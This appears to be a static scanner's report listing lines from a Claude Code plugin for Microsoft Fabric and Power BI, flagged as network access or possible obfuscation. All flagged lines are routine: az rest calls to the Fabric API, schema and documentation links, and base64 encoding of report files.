    "$schema": "https://raw.githubusercontent.com/microsoft/powerbi-desktop-samples/main/Report%20Theme%20JSON%20Schema/reportThemeSchema-2.153.json",
  • Network accessline 2
    "$schema": "https://raw.githubusercontent.com/microsoft/powerbi-desktop-samples/main/Report%20Theme%20JSON%20Schema/reportThemeSchema-2.153.json",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-management/SKILL.md

  • Possible obfuscationline 52
    | `base64` | Encode/decode PBIR file content for definition payloads | Built-in on Linux/macOS · Windows: use PowerShell `[Convert]::ToBase64String()` / `FromBase64String()` |
  • Possible obfuscationline 52
    | `base64` | Encode/decode PBIR file content for definition payloads | Built-in on Linux/macOS · Windows: use PowerShell `[Convert]::ToBase64String()` / `FromBase64String()` |
  • Network accessline 55
    > > ```bash > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli"
  • Network accessline 55
    > > ```bash > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli"
  • Network accessline 56
    > ```bash > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli" > ```
  • Network accessline 56
    > ```bash > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli" > ```
  • Network accessline 57
    > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli"
  • Network accessline 57
    > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli"
  • Network accessline 64
    | API | Audience (`--resource`) | |---|---| | Fabric Report Items API | `https://api.fabric.microsoft.com` |
  • Network accessline 64
    | API | Audience (`--resource`) | |---|---| | Fabric Report Items API | `https://api.fabric.microsoft.com` |
  • Network accessline 66
    | Fabric Report Items API | `https://api.fabric.microsoft.com` |
  • Network accessline 66
    | Fabric Report Items API | `https://api.fabric.microsoft.com` |
  • Network accessline 86
    REPORT_NAME="Sales Report" REPORT_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 86
    REPORT_NAME="Sales Report" REPORT_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 87
    REPORT_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 87
    REPORT_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 88
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 88
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 89
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \
  • Network accessline 89
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \
  • Network accessline 104
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 104
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 105
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 105
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 106
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \
  • Network accessline 106
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \
  • Network accessline 121
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 122
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 122
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 123
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID"
  • Network accessline 123
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID"
  • Network accessline 139
    RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 140
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 140
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID/getDefinition?format=PBIR" \
  • Network accessline 141
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID/getDefinition?format=PBIR" \
  • Network accessline 180
    rel="${file#./report-definition/}"   payload=$(base64 < "$file" | tr -d '\n')   jq -nc --arg p "$rel" --arg b "$payload" \
  • Network accessline 180
    rel="${file#./report-definition/}"   payload=$(base64 < "$file" | tr -d '\n')   jq -nc --arg p "$rel" --arg b "$payload" \
  • Network accessline 181
    payload=$(base64 < "$file" | tr -d '\n')   jq -nc --arg p "$rel" --arg b "$payload" \     '{path:$p, payload:$b, payloadType:"InlineBase64"}'
  • Network accessline 181
    payload=$(base64 < "$file" | tr -d '\n')   jq -nc --arg p "$rel" --arg b "$payload" \     '{path:$p, payload:$b, payloadType:"InlineBase64"}'
  • Network accessline 182
    jq -nc --arg p "$rel" --arg b "$payload" \
  • Network accessline 182
    jq -nc --arg p "$rel" --arg b "$payload" \
  • Network accessline 193
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 193
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 194
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 194
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 195
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \
  • Network accessline 195
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \
  • Network accessline 221
    rel="${file#./report-definition/}"   payload=$(base64 < "$file" | tr -d '\n')   jq -nc --arg p "$rel" --arg b "$payload" \
  • Network accessline 221
    rel="${file#./report-definition/}"   payload=$(base64 < "$file" | tr -d '\n')   jq -nc --arg p "$rel" --arg b "$payload" \
  • Network accessline 222
    payload=$(base64 < "$file" | tr -d '\n')   jq -nc --arg p "$rel" --arg b "$payload" \     '{path:$p, payload:$b, payloadType:"InlineBase64"}'
  • Network accessline 222
    payload=$(base64 < "$file" | tr -d '\n')   jq -nc --arg p "$rel" --arg b "$payload" \     '{path:$p, payload:$b, payloadType:"InlineBase64"}'
  • Network accessline 223
    jq -nc --arg p "$rel" --arg b "$payload" \
  • Network accessline 223
    jq -nc --arg p "$rel" --arg b "$payload" \
  • Network accessline 231
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 231
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 232
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 232
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 233
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID/updateDefinition" \
  • Network accessline 233
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID/updateDefinition" \
  • Network accessline 260
    az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 260
    az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 261
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 261
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 262
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID" \
  • Network accessline 262
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID" \
  • Network accessline 275
    # Soft delete (recoverable) az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 275
    # Soft delete (recoverable) az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 276
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 276
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 277
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 277
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 278
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID"
  • Network accessline 278
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID"
  • Network accessline 280
    # Hard delete (permanent) az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 280
    # Hard delete (permanent) az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 281
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 281
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 282
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 282
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 283
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID?hardDelete=true"
  • Network accessline 283
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID?hardDelete=true"
  • Network accessline 316
    For more details, see [Long-Running Operations](https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation).
  • Network accessline 316
    For more details, see [Long-Running Operations](https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation).
  • Network accessline 347
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 347
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 348
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 348
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 362
    - **ALL PBIR content MUST go through the `powerbi-report-authoring` skill** — this is the single most important rule. Whether creating a brand-new report or modifying an existing one, every PBIR file (`definition.pbir`, `report.json`, `vers
  • Network accessline 362
    - **ALL PBIR content MUST go through the `powerbi-report-authoring` skill** — this is the single most important rule. Whether creating a brand-new report or modifying an existing one, every PBIR file (`definition.pbir`, `report.json`, `vers
  • Network accessline 363
    - **Always pass `--resource "https://api.fabric.microsoft.com"`** to `az rest` — omitting it causes silent auth failures.
  • Network accessline 363
    - **Always pass `--resource "https://api.fabric.microsoft.com"`** to `az rest` — omitting it causes silent auth failures.
  • Network accessline 524
    | Error | Cause | Fix | |---|---|---| | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 524
    | Error | Cause | Fix | |---|---|---| | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 525
    |---|---|---| | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` | | `403 Forbidden` | Insufficient permissions | Check workspace role (Contributor+ for write ops) |
  • Network accessline 525
    |---|---|---| | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` | | `403 Forbidden` | Insufficient permissions | Check workspace role (Contributor+ for write ops) |
  • Network accessline 526
    | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 526
    | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/SKILL.md

  • Network accessline 397
    SERVER="sql-prod"    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 397
    SERVER="sql-prod"    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 398
    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 398
    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 399
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 399
    --url "https://api.fabric.microsoft.com/v1/connections" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/connection-binding.md

  • Network accessline 5
    This API supersedes the legacy Power BI [Bind to Gateway in Group](https://learn.microsoft.com/rest/api/power-bi/datasets/bind-to-gateway-in-group). It supports gateway, cloud, virtual network, automatic, and unbind (`None`) connectivity ty
  • Network accessline 5
    This API supersedes the legacy Power BI [Bind to Gateway in Group](https://learn.microsoft.com/rest/api/power-bi/datasets/bind-to-gateway-in-group). It supports gateway, cloud, virtual network, automatic, and unbind (`None`) connectivity ty
  • Network accessline 7
    > **Reference docs** > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection)
  • Network accessline 7
    > **Reference docs** > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection)
  • Network accessline 8
    > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection)
  • Network accessline 8
    > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection)
  • Network accessline 9
    > - [List Item Connections](https://learn.microsoft.com/rest/api/fabric/core/items/list-item-connections)
  • Network accessline 9
    > - [List Item Connections](https://learn.microsoft.com/rest/api/fabric/core/items/list-item-connections)
  • Network accessline 10
    > - [List Connections](https://learn.microsoft.com/rest/api/fabric/core/connections/list-connections)
  • Network accessline 10
    > - [List Connections](https://learn.microsoft.com/rest/api/fabric/core/connections/list-connections)
  • Network accessline 11
    > - [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection)
  • Network accessline 11
    > - [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection)
  • Network accessline 18
    - Delegated scope: `SemanticModel.ReadWrite.All` or `Item.ReadWrite.All`. - Identities: User, Service Principal, Managed Identity. - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`.
  • Network accessline 18
    - Delegated scope: `SemanticModel.ReadWrite.All` or `Item.ReadWrite.All`. - Identities: User, Service Principal, Managed Identity. - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`.
  • Network accessline 20
    - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`.
  • Network accessline 20
    - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`.
  • Network accessline 31
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/semanticModels/{semanticModelId}/bindConnection
  • Network accessline 31
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/semanticModels/{semanticModelId}/bindConnection
  • Network accessline 87
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 87
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 88
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 88
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 89
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/connections"
  • Network accessline 89
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/connections"
  • Network accessline 97
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 97
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 98
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 98
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 99
    --url "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 99
    --url "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 106
    If no matching connection exists, create one with [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) before continuing.
  • Network accessline 106
    If no matching connection exists, create one with [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) before continuing.
  • Network accessline 130
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 130
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 131
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 131
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 132
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/semanticModels/$MODEL_ID/bindConnection" \
  • Network accessline 132
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/semanticModels/$MODEL_ID/bindConnection" \
  • Network accessline 185
    - Submit **one request per data source reference**. The API rejects bulk payloads. - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize t
  • Network accessline 185
    - Submit **one request per data source reference**. The API rejects bulk payloads. - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize t
  • Network accessline 186
    - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize them. - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`
  • Network accessline 186
    - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize them. - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`
  • Network accessline 187
    - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`), not the Power BI audience.
  • Network accessline 187
    - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`), not the Power BI audience.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-perf-decision-guide.md

  • Network accessline 382
    - [Analysis Services trace events](https://learn.microsoft.com/analysis-services/trace-events/analysis-services-trace-events)
  • Network accessline 382
    - [Analysis Services trace events](https://learn.microsoft.com/analysis-services/trace-events/analysis-services-trace-events)
  • Network accessline 383
    - [Horizontal fusion in Power BI and Analysis Services](https://powerbi.microsoft.com/en-us/blog/announcing-horizontal-fusion-a-query-performance-optimization-in-power-bi-and-analysis-services/)
  • Network accessline 383
    - [Horizontal fusion in Power BI and Analysis Services](https://powerbi.microsoft.com/en-us/blog/announcing-horizontal-fusion-a-query-performance-optimization-in-power-bi-and-analysis-services/)
  • Network accessline 384
    - [Understand Direct Lake query performance](https://learn.microsoft.com/fabric/fundamentals/direct-lake-understand-storage)
  • Network accessline 384
    - [Understand Direct Lake query performance](https://learn.microsoft.com/fabric/fundamentals/direct-lake-understand-storage)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-perf-patterns.md

  • Network accessline 804
    Two approaches: - **Spark:** `spark.conf.set("spark.sql.parquet.vorder.default", "true")`, then run `OPTIMIZE` for existing Delta tables. - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.co
  • Network accessline 804
    Two approaches: - **Spark:** `spark.conf.set("spark.sql.parquet.vorder.default", "true")`, then run `OPTIMIZE` for existing Delta tables. - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.co
  • Network accessline 806
    - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations), which enables V-Order-oriented write settings for Power BI rea
  • Network accessline 806
    - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations), which enables V-Order-oriented write settings for Power BI rea

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/direct-lake-guidelines.md

  • Network accessline 34
    let     Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 34
    let     Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 35
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 35
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 44
    expression 'DL_Sales_Named_Expression' = 		let 		    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 44
    expression 'DL_Sales_Named_Expression' = 		let 		    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 45
    let 		    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) 		in
  • Network accessline 45
    let 		    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) 		in
  • Network accessline 46
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 46
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/metadata-discovery.md

  • Network accessline 182
    - **Issue:** `INFO.ROLEMEMBERSHIPS()` returns empty or incomplete results.   - **Cause:** Role members are assigned at the service level (Entra ID) after deployment, not in the model definition — so DAX `INFO` functions cannot reliably surf
  • Network accessline 182
    - **Issue:** `INFO.ROLEMEMBERSHIPS()` returns empty or incomplete results.   - **Cause:** Role members are assigned at the service level (Entra ID) after deployment, not in the model definition — so DAX `INFO` functions cannot reliably surf
  • Network accessline 184
    - **Fix:** Redirect to [Manage role membership documentation](https://learn.microsoft.com/en-us/fabric/security/service-admin-row-level-security#manage-role-membership) for current guidance on role membership management.
  • Network accessline 184
    - **Fix:** Redirect to [Manage role membership documentation](https://learn.microsoft.com/en-us/fabric/security/service-admin-row-level-security#manage-role-membership) for current guidance on role membership management.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/pbip.md

  • Network accessline 38
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 38
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 39
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 39
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 46
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json) for more details.
  • Network accessline 46
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json) for more details.
  • Network accessline 57
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 57
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 58
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 58
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 71
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 71
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 72
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 72
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 86
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/report/definitionProperties/2.0.0/schema.json) for more details.
  • Network accessline 86
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/report/definitionProperties/2.0.0/schema.json) for more details.
  • Network accessline 95
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json",
  • Network accessline 95
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json",
  • Network accessline 96
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json",
  • Network accessline 96
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json",
  • Network accessline 111
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/pbip/pbipProperties/1.0.0/schema.json) for more details.
  • Network accessline 111
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/pbip/pbipProperties/1.0.0/schema.json) for more details.
  • Network accessline 117
    - [PBIP docs](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-overview)
  • Network accessline 117
    - [PBIP docs](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-overview)
  • Network accessline 118
    - [PBIP SemanticModel folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-dataset)
  • Network accessline 118
    - [PBIP SemanticModel folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-dataset)
  • Network accessline 119
    - [PBIP Report folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-report)
  • Network accessline 119
    - [PBIP Report folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-report)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/semantic-model-ai-readiness.md

  • Network accessline 33
    **Important:** When incapable of editing any metadata, refer the user to [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/create-reports/copilot-prepare-data-ai) documentation.
  • Network accessline 33
    **Important:** When incapable of editing any metadata, refer the user to [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/create-reports/copilot-prepare-data-ai) documentation.
  • Network accessline 140
    > **Editing path:** Don't edit verified answers automatically. Instead suggest good candidates for verified answers and ask the user to configure manually in the tool. See [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/creat
  • Network accessline 140
    > **Editing path:** Don't edit verified answers automatically. Instead suggest good candidates for verified answers and ask the user to configure manually in the tool. See [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/creat

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/semantic-model-rest-api.md

  • Network accessline 8
    API_FABRIC="https://api.fabric.microsoft.com/v1"
  • Network accessline 8
    API_FABRIC="https://api.fabric.microsoft.com/v1"
  • Network accessline 9
    API_PBI="https://api.powerbi.com/v1.0/myorg"
  • Network accessline 9
    API_PBI="https://api.powerbi.com/v1.0/myorg"
  • Network accessline 10
    RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 10
    RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 11
    RESOURCE_FABRIC="https://api.fabric.microsoft.com"
  • Network accessline 11
    RESOURCE_FABRIC="https://api.fabric.microsoft.com"
  • Network accessline 22
    | API                   | Audience (`--resource`)                    | Use For                                                                      | | --------------------- | ------------------------------------------ | -------------------
  • Network accessline 22
    | API                   | Audience (`--resource`)                    | Use For                                                                      | | --------------------- | ------------------------------------------ | -------------------
  • Network accessline 23
    | --------------------- | ------------------------------------------ | ---------------------------------------------------------------------------- | | Fabric Items API      | `https://api.fabric.microsoft.com`         | Create/get/update/d
  • Network accessline 23
    | --------------------- | ------------------------------------------ | ---------------------------------------------------------------------------- | | Fabric Items API      | `https://api.fabric.microsoft.com`         | Create/get/update/d
  • Network accessline 24
    | Fabric Items API      | `https://api.fabric.microsoft.com`         | Create/get/update/delete semantic model definitions, list items, LRO polling |
  • Network accessline 24
    | Fabric Items API      | `https://api.fabric.microsoft.com`         | Create/get/update/delete semantic model definitions, list items, LRO polling |
  • Network accessline 25
    | Power BI Datasets API | `https://analysis.windows.net/powerbi/api` | Refresh, data sources, parameters, permissions, operational properties       |
  • Network accessline 25
    | Power BI Datasets API | `https://analysis.windows.net/powerbi/api` | Refresh, data sources, parameters, permissions, operational properties       |
  • Network accessline 78
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 78
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 79
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 79
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 147
    # 1. Request definition - may return 200 (inline) or 202 (LRO) RESPONSE=$(az rest --method post --verbose \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 147
